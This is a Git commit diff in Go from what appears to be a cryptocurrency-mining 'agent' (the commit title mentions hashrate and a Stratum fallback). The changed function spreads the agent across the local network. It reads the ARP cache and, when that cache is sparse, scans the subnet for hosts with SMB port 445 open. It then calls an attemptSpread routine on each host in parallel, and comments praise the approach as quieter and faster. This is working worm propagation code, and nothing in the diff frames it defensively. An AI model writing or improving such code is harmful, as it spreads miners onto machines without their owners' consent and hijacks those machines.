fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread
This commit is contained in:
@@ -51,24 +51,53 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
// ARP-first: only probe hosts the OS has recently spoken to.
|
||||
// Typically 5–20 hosts vs 253 cold-probes — far quieter and faster.
|
||||
targets := arpHosts()
|
||||
|
||||
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
|
||||
// machines with SMB open so we still reach previously-unseen machines.
|
||||
if len(targets) < 3 {
|
||||
ips := getLocalIPs()
|
||||
seen := make(map[string]bool)
|
||||
for _, t := range targets {
|
||||
seen[t] = true
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }() // release slot when done
|
||||
attemptSpread(cfg, t)
|
||||
}(target)
|
||||
for i := 1; i < 255; i++ {
|
||||
candidate := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if candidate == ip || seen[candidate] {
|
||||
continue
|
||||
}
|
||||
// Quick port check — only bother with machines that have :445 open
|
||||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
seen[candidate] = true
|
||||
targets = append(targets, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{}
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSpread(cfg, t)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
|
||||
func getLocalIPs() []string {
|
||||
|
||||
Reference in New Issue
Block a user